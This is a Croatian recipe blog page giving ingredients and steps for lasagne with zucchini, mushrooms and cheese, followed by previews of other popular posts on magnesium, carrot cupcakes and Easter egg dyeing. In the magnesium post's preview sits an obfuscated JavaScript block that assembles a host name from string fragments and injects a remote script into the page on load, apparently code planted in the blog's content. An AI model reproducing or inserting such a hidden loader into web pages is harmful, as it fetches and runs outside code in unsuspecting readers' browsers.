LAZANJE S TIKVICAMA, GLJIVAMA I SIROM 🍄 🍄‍🟫




Lazanje s tikvicama, gljivama i sirom 




Ako ste se zasitili mesa i tražite nešto povrtno, zasitno i ukusno, onda imamo rješenje. Iako nema do mesnih, ove povrtne lazanje s tikvicama, gljivama i sirom će zasigurno pobrati sve komplimente. Jedan od glavnih sastojaka su tikvice koje volimo jer se slažu gotovo sa svime. Dobro funkcioniraju uz rajčicu, razne sireve, gljive, špinat, kao i uz razne začine.





Lazanje s tikvicama, gljivama i sirom 


Sastojci:

Za umak

700 ml pasirane rajčice
250 g šampinjona
100 ml bijelog vina
1 žličica origana
3 režnja češnjaka
2 srednje tikvice
1 veći crveni luk
maslinovo ulje
nekoliko listova bosiljka
sol i papar


Za bešamel

750 ml mlijeka
60 g maslaca
60 g brašna
40 g parmezana
sol i papar


Dodatno:

450 g listova za lazanje
250 g mozzarelle
60 g parmezana
malo maslaca za vrh



Priprema:

Tikvice narežite na tanke ploške ili polumjesece. Lagano ih posolite i ostavite desetak minuta da otpuste višak vode. Nakon toga ih obrišite papirnatim ručnikom i kratko prepecite na tavi s malo maslinovog ulja. Dovoljno je 2–3 minute da dobiju boju. Na maslinovom ulju dinstajte sitno sjeckani luk 5–6 minuta dok ne omekša. Dodajte češnjak i gljive pa pecite dok gljive ne ispare i lagano porumene. Umiješajte koncentrat rajčice i kratko ga prepržite. Ulijte vino i pustite da alkohol ispari. Dodajte pasiranu rajčicu, origano, sol i papar. Kuhajte 20–25 minuta na laganoj vatri dok se umak ne zgusne. Na kraju ubacite bosiljak i dio pečenih tikvica.

Otopite maslac pa dodajte brašno. Miješajte oko dvije minute. Postepeno ulijevajte mlijeko uz stalno miješanje pjenjačom kako ne bi nastale grudice. Kad se umak zgusne, dodajte sol, papar i parmezan.

Na dno posude stavite malo bešamela. Zatim slažite listove lazanja, umak od rajčice, tikvice, malo bešamela i mozzarellu. Ponavljajte dok ne potrošite sastojke. Na vrh stavite ostatak bešamela, mozzarellu i parmezan. Dodajte nekoliko malih komadića maslaca za bolju koricu. Pecite 25 minuta pokriveno folijom na 190 °C zatim još 15–20 minuta bez folije dok vrh ne postane zlatan i hrskav. Prije rezanja ih ostavite 15 minuta da se malo stisnu.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više